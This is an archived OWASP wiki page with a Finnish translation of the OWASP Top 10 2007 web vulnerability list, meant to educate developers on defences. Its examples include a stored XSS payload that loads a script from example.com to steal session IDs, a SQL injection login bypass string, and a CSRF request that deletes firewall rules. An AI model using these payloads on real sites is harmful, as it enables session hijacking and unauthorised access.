This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org

Top 10 2007 Finnish

From OWASP
Revision as of 19:14, 10 November 2008 by Antti (talk | contribs) (Kooste)

Jump to: navigation, search

Johdanto

Huom! Tämä sivu on täysin työn alla. Tavoitteena on aluksi saada työtä valmiiksi sitä mukaa kuin suomennostyöhön osallistuvilla on aikaa. Suomennostyöhön saavat osallistua kaikki.

Tervetuloa OWASP Top 10 2007 suomennettuun versioon! Top 10:n 2007 versio on uudelleenkirjoitettu alkuperäisestä vuoden 2004 versiosta, ja kuvaa hyvin niitä tyypillisiä haavoittuvuuksia, joita nykypäivän web-sovelluksista havaitaan.

Java Enterprise Edition-kohtainen lista on ladattavissa täältä.

Tavoitteet

OWASP Top 10:n tärkein tavoite on kouluttaa sovelluskehittäjiä, suunnittelijoita, arkkitehtejä ja organisaatioita tyypillisimpien sovellushaavoittuvuuksien seurauksista. Top 10 tarjoaa perusmenetelmät näiltä haavoittuvuuksilta suojautumiseen - loistava ensiaskel turvalliseen ohjelmistokehitykseen.

Tietoturvallisuutta ei saavuteta kerralla. Ei riitä, että sovellus tehdään turvalliseksi kerran. Esimerkiksi tämäkin lista on muuttunut vuosien varrella, ja muuttamatta sovelluksesi lähdekoodia uusien uhkien valossa, sovelluksesi voi olla turvaton. Lisätietoja ja tarkempia suosituksia on tarjolla englanninkielisessä dokumentissa Where to Go From Here.

Turvallisen ohjelmoinnin periaatteet tulee olla mukana kaikissa sovelluksen elinkaaren vaiheissa.. Turvallinen web-sovellus on mahdollinen vain kun turvallisen ohjelmistokehityksen elinkaarimalli on mukana (secure SDLC). Tämän mallin tulee olla oletuksena mukana sekä suunnitteluvaiheessa, että kaikissa kehitysvaiheissa. Erilaisia web-sovellusten tietoturvallisuuteen vaikuttavia tekijöitä voidaan nimetä yli 300 kohtaa. Näistä tekijöistä on tarkempia kuvauksia englanninkielisessä dokumentissa OWASP Development Guide, mikä sisältää oleellista luettavaa kaikille nykypäivän web-sovelluskehittäjille.

Tämän dokumentin ensisijainen tarkoitus olla opetuksellinen, ei standardi. Älä käytä tätä dokumenttia tietoturvallisuuden ohjenuorana tai standardina ottamatta meihin yhteyttä ensin! Jos tarvitset turvallisen ohjelmistokehityksen standardia, OWASPilla on käynnissä tähän liittyviä toisia projekteja. Liittymällä tai antamalla tukea näihin projekteihin tuet niiden edistymistä parhaiten.

Kiitokset avustajille

We thank MITRE for making Vulnerability Type Distribution in CVE data freely available for use. The OWASP Top Ten project is led and sponsored by Aspect_logo.gif.

Project Lead: Andrew van der Stock (Executive Director, OWASP Foundation)

Co-authors: Jeff Williams (Chair, OWASP Foundation), Dave Wichers (Conference Chair, OWASP Foundation)

We’d like to thank our reviewers:

  • Raoul Endres for help in getting the Top 10 going again and with his valuable comments.
  • Steve Christey(MITRE) for an extensive peer review and adding the MITRE CWE data
  • Jeremiah Grossman (WhiteHat Security) for peer reviewing and contributing information about the success (or otherwise) of automated means of detection.
  • Neil Smithline (OneStopAppSecurity.com) for comments and producing the Wiki version.
  • Sylvan von Stuppe for an exemplary peer review.
  • Colin Wong, Nigel Evans and Andre Gironda for e-mailed comments.

Kooste

A1 - Cross Site Scripting (XSS) (Haitallisten komentojen välittäminen käyttäjän selaimeen toisen sivuston kautta)

Sovellus on haavoittuva XSS:lle, kun se välittää käyttäjän antaman syötteen selaimelle sellaisenaan tarkastamatta ja käsittelemättä sitä ensin. Tämä mahdollistaa hyökkääjältä tulevien komentojen suorittamisen sovelluksen alaisuudessa. Komennoilla voidaan muuttaa selaimessa esimerkiksi sivuston ulkoasua tai kaapata sivuston istuntotunnisteet.

Esimerkki Kaksi yleistä XSS-tyyppiä ovat pysyvä ja heijastuva/ei-pysyvä, joiden erona on että pysyvässä tapauksessa komento jää sovelluksen omaan tietokantaan.

Pysyvä: Hyökkääjä muuttaa haavoittuvan yhteisösivuston nimimerkkinsä siten, että se sisältää komennon. Esim: "luser<script src="http://example.com/~luser/xss.js"></script>". Tiedostossa xss.js oleva komento lähettää sivuston istuntotunnisteen hyökkääjälle. Hän jättää sivustolle viestin, jolloin hänen nimimerkkinsä näkyy otsikossa. Viestin lukevan toisen käyttäjän selain suorittaa hänen tietämättään hyökkääjän komennon, minkä jälkeen hyökkääjällä on mahdollisuus käyttää sivustoa hänen tunnuksillaan.

Ei-pysyvä: Käyttäjä on kirjautunut haavoittuvaan yhteisösivustoon, jonka haku-kentässä on XSS-haavoittuvuus. Samalla hän saa hyökkääjältä viestin, joka kehoittaa katsomaan annettu linkki, mikä todellisuudessa ohjaakin osoitteeseen "http://community.example.com/search?term=qwert<script....>". Tällöin hakumoottori ilmoittaa että hakutulos "qwert" ei tuottanut tuloksia, mutta samalla selain suorittaa myös hyökkääjän komennon. Lopputulos on sama.

Suositus Tarkasta kaikki syötekentät ja koodaa niistä erikoismerkit toiseen muotoon. Tarkasta ja käsittele myös kaikki kentät, jotka liitetään osaksi vastausviestiä.

A2 - Injektio-ongelmat (Haitallisen komennon välittäminen syötteessä osaksi taustajärjestelmäkyselyä) Injektio-ongelmat, erityisesti SQL-injektio, ovat tyypillisiä web-sovelluksissa. Injektio onnistuu, kun käyttäjän antama syöte istutetaan suoraan osaksi taustajärjestelmäkomentoa tai tietokantakyselyä. Tämä mahdollistaa hyökkääjälle komentojen ajamisen tai tiedon muuttamisen taustajärjestelmässä. Esimerkki

Haavoittuva sovellus etsii kirjautuessa käyttäjän kannasta seuraavalla tietokantakyselyllä:

"SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"

Parametrit username ja password tulevat suoraan kirjautumislomakkeelta. Hyökkääjä antaa admin-käyttäjän salasanaksi: ' OR '1'='1

"SELECT * FROM users WHERE username='admin' AND password= OR '1'='1'"

Mikä sovellukselle näyttää onnistuneelta kirjautumiselta, vaikka oikea salasana ei ollut tiedossa.

Suositus Tarkasta kaikki syötekentät ja koodaa tietokanta- tai muissa taustajärjestelmäkyselyissä käytettävät erikoismerkit toiseen muotoon.

A3 - Haitallisen tiedoston suoritus Käyttäjän antama tiedosto tai tiedostonimi välitetään sovellukselle tarkistamatta tiedoston sisällön tai tiedostonimen oikeellisuutta. Tämä mahdollistaa käyttäjälle tavan liittää haitallista koodia tai haitallisia tiedostoja sovelluksen käyttöön.

Esimerkki Sovellus ottaa yhtenä parametrinaan osaksi sivuston generoivaa koodia sisältävän tiedoston nimen. Oletus on, että käytetään jotakin sivuston omista tiedostoista, mutta hyökkääjä vaihtaa nimen osoittamaan omalle palvelimelleen. Hyökkääjän tiedosto sisältää koodia, joka avaa hänelle pääsyn sovellusta isännöivään järjestelmään.

Suositus Tarkasta, että syötteenä käytetyt tiedostot eivät sisällä suoritettavaa koodia tai että tiedostojen alkuperä on tunnettu.

A4 - Turvaton suora objektiviittaus Jos sovellus käyttää suoria viittauksia sovelluksen sisäisesti käyttämiin objekteihin, kuten tiedostoihin tai tietokantatauluihin tai avaimiin, viittaukset voivat esimerkiksi paljastua käyttäjälle näkyvien parametrien arvona. Tämä mahdollistaa käyttäjälle valtuuttamattoman pääsyn sovelluksen sisäisiin objekteihin muuttamalla viittauksien arvoja toisiin.

Esimerkki Verkkopankkisovelluksessa käytetään tiliin viittamiseen asiakkaan tilinumeroa. Hyökkääjä, yksi verkkopankin käyttäjä, huomaa että tilitietojen kyselyssä yhtenä parametrina välitetään hänen oma tilinumeronsa. Hän muuttaa tämän parametrin arvon toisen käyttäjän tilinumeroksi, ja sovellus paljastaa toisen käyttäjän tilitiedot.

Suositus Tarkasta jokaisen pyynnön kohdalla, että käyttäjällä on oikeus suoritettavaan toimintoon.

A5 - Cross Site Request Forgery (CSRF) (Haitallisen sovelluskutsun tekeminen toisen käyttäjän valtuuksilla pyyntöhuijauksen avulla)

CSRF hyökkäyksessä hyökkääjä lähettää sovellukseen kirjautuneelle käyttäjälle esimerkiksi väärennetyn linkin, joka ohjaa käyttäjän selaimen suorittamaan hyökkääjän määräämän toiminnon käyttäjän valtuuksilla. Tämä voidaan tehdä täysin käyttäjän tietämättä, sillä kyseinen kutsu voidaan piilottaa esimerkiksi kuvaelementin sisään jollakin toisella sivustolla.

Verrattuna XSS:ään, tämä hyökkäys periaatteen tasolla toimii päinvastoin. Tässä hyökkääjä hyödyntää käyttäjän selainta suorittaakseen komennon sovelluksessa, kun XSS:ssä hyödynnetään sovellusta suorittamaan komento käyttäjän selaimessa.

Esimerkki Example.comin pääkäyttäjä saa viestin, jossa on linkki "Katso video". Linkin takana on sivusto, mikä näyttää videon, mutta lisäksi yksi kuva haetaan osoitteesta "https://internaladmin.example.com/firewalladmin/dropallrules.cgi?confirm=yes". Käyttäjä on valmiiksi kirjautunut vain sisäverkossa näkyvään palomuurin hallintaliittymään, ja tämä kutsu poistaa kaikki example.com:in palomuurisäännöt, mikä helpottaa hyökkääjän tehtävää.

Suositus Toteuta evästeissä kulkevan istuntotunnisteen lisäksi jokaiseen sovelluskutsuun yhtenä parametrinä satunnainen arvo, jota hyökkääjä ei voi etukäteen tietää.

A6 - Tiedon vuotaminen ja puutteelinen virheenkäsittely

Sovellukset voivat tarkoituksettomasti vuotaa tietoja omista asetuksistaan, sisäisistä toteutustavoistaan tai jopa loukata yksityisyydensuojaa erilaisten hallitsemattomien virhetilanteiden johdosta. Hyökkääjät voivat käyttää sovelluksen virheviesteistä paljastuvia tietoja joko suoraan tai apuna suunnitellessa vakavampia hyökkäyksiä.

Esimerkki Tunnistuksen yhteydessä tapahtuu hallitsematon virhe, koska yhtä tunnistusparametria oli muutettu odottamattomasti. Poikkeuksen ajonaikaiset tiedot paljastuvat käyttäjälle. Tiedoista myös paljastuu, mikä käyttäjän salasanan pitäisi olla.

Suositus Toteuta järjestelmällinen virheenkäsittely, joka käsittelee virhe- ja poikkeustilanteet hallitusti ilmoittamalla ainoastaan yleinen virheilmoitus.

A7 - Viallinen tunnistusmenettely ja istunnonhallinta Käyttäjä- sekä istuntotunnisteet eivät usein ole suojattu riittävillä keinoilla. Tämä mahdollistaa hyökkääjille salasanojen, käyttäjä- tai istuntotunnisteiden keruun järjestelmästä, ja sitä kautta sovelluksen käyttämisen toisten valtuuksilla.

Esimerkki Sovelluksen istuntotunniste generoidaan liittämällä käyttäjän tunnus sekä päivämäärä ja kellonaika, ja tästä muodostetaan hash-arvo. Hyökkääjä pystyy helposti arvaamaan istuntotunnisteen, kun tietää käyttäjän nimen ja kirjautumisajan. Monesti myös käytetään heikkoja satunnaislukugeneraattoreita, joiden tuottamat satunnaisluvut ovat ennustettavia.

Suositus Käytä riittävän vahvoja salasanoja sekä istuntotunnisteita.

A8 - Kryptografisesti turvaton tiedon säilytys Web-sovelluksissa käytetään vain harvoin asianmukaisia kryptografisia menetelmiä tiedon ja käyttäjätunnisteiden salaukseen esimerkiksi tietokannassa. Tietokantainjektion avulla tai jollain muulla keinolla tietoihin käsiksi pääsevä hyökkääjä voi tästä johtuen helposti selvittää esimerkiksi käyttäjien identiteettitietoja ja luottokorttinumeroita.

Suositus Käytä tiedon salaukseen asiantuntijoiden hyväksymiä kryptografisia menetelmiä.

A9 - Turvattomat tietoliikenneyhteydet Sovellukset eivät usein käytä asianmukaisesti salattuja tietoliikenneyhteyksiä. Tämä voi johtaa esimerkiksi liikenteen salakuunteluun.

Suositus Käytä riittävän vahvaa SSL/TLS-yhteyttä suojaamaan tietoliikenneyhteydet.

A10 - Rajoittamaton URL-tason pääsy Sovellusten pääsynvalvonta perustuu monesti siihen, että valtuuttamattomalle käyttäjälle ei näytetä linkkejä niihin toimintoihin, joihin hänellä ei ole oikeuksia. Kuitenkin nämä osoitteet saattavat olla yleisesti tunnettuja tai helposti arvattavia, ja hyökkääjä pystyy suorittamaan valtuuttamattomia toimia siirtymällä näihin osoitteisiin suoraan.

Esimerkki Intranet-sovelluksen pääkäyttäjätoimintoja ei näytetä tavalliselle käyttäjälle. Käyttäjä kuitenkin voi suorittaa kyselyn intranet-osoitteeseen: "https://employees.example.com/raisesalary?user=luser&raisesalaryby=10000", vaikka palkankorotuksen pitäisi olla mahdollista vain pääkäyttäjälle.

Suositus Tarkasta jokaisen pyynnön kohdalla, että käyttäjällä on oikeus suoritettavaan toimintoon.

Taulukko 1: Web-sovellusten Top 10-haavoittuvuudet 2007


There are several pages in this document that are not dedicated to a specific vulnerability and hence are not listed in the table. Here is the list of them. Tämä dokumentti sisältää myös muutamia sivuja, jotka eivät suoraan kosketa mitään tiettyä haavoittuvuutta. Nämä on listattu seuraavassa taulukossa.

Top 10 2007 Finnish Dokumentin pääsivu (tämä sivu) tarjoaa johdannon ja mahdollisuuden kirjanmerkata "Kooste" osuuden, jotta voit käyttää sitä helposti tarvittaessa. (lisää tämä linkki selaimesi kirjanmerkkeihin)
Top 10 2007-Methodology Kuvaus tähän dokumenttiin valittujen haavoittuvuuksien valintamenetelmistä.
Top 10 2007-Where to Go From Here Vinkkejä siihen kuinka jatkaa tämän dokumentin lukemisen jälkeen.
Top 10 2007-References Suositeltavaa luettavaa.
Taulukko 1a: Sivut OWASP Top Ten 2007 dokumentissä, jotka eivät liity ylläoleviin haavoittuvuussivuihin.

A Note About The Different Versions

While the only official version of the OWASP Top Ten 2007 list is the downloadable English PDF version, OWASP has put together this Wiki that initially contains the same content as the PDF. But OWASP hopes that will change with your help. OWASP encourages community involvement and wants your help to make the Wiki version even better. To aid in this they have put together a brief tutorial to get you started.

Downloadable Versions

You can download the Top 10 2007 (Final) here:

  • Looking for a version in another language? We could use your help translating. Contact Andrew van der Stock (vanderaj ...(@)... owasp.org) to help translating the OWASP Top 10 into your language.


    »»»»

© 2002-2007 OWASP Foundation This document is licensed under the Creative Commons Attribution-ShareAlike 2.5 license. Some rights reserved.